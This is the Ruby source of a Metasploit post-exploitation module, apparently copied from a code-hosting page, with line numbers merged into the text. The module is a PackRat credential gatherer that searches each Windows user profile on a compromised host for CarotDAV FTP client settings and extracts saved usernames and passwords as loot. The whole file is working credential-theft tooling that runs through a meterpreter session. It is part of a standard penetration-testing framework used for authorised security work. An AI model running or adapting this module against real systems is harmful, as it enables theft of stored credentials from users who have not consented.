Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/credentials/carotdav_ftp.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6# this associative array defines the artifacts known to PackRat7include Msf::Post::File8include Msf::Post::Windows::UserProfiles9include Msf::Post::Windows::Packrat10ARTIFACTS =11{12application: 'CarotDAV',13app_category: 'FTP',14gatherable_artifacts: [15{16filetypes: 'logins',17path: 'AppData',18dir: 'Rei Software',19artifact_file_name: 'Setting',20description: 'Saved Bookmarks',21credential_type: 'xml',22xml_search: [23{24extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',25extraction_type: 'credentials',26xml: [27'//Name',28'//TargetUri',29'//UserName',30'//Password'31]32}33]34}35]36}.freeze3738def initialize(info = {})39super(40update_info(41info,42'Name' => 'CarotDAV credential gatherer',43'Description' => %q{44PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.45PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.46Further details can be found in the module documentation.47This is a module that searches for credentials stored on CarotDAV FTP Client in a windows remote host.48},49'License' => MSF_LICENSE,50'Author' => [51'Jacob Tierney',52'Kazuyoshi Maruta',53'Daniel Hallsworth',54'Barwar Salim M',55'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org56],57'Platform' => ['win'],58'SessionTypes' => ['meterpreter'],59'Notes' => {60'Stability' => [CRASH_SAFE],61'Reliability' => [],62'SideEffects' => []63}64)65)6667register_options(68[69OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),70OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),71# enumerates the options based on the artifacts that are defined below72OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])73]74)75end7677def run78print_status('Filtering based on these selections: ')79print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")80print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")81print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")8283# used to grab files for each user on the remote host84grab_user_profiles.each do |userprofile|85run_packrat(userprofile, ARTIFACTS)86end8788print_status 'PackRat credential sweep Completed'89end90end919293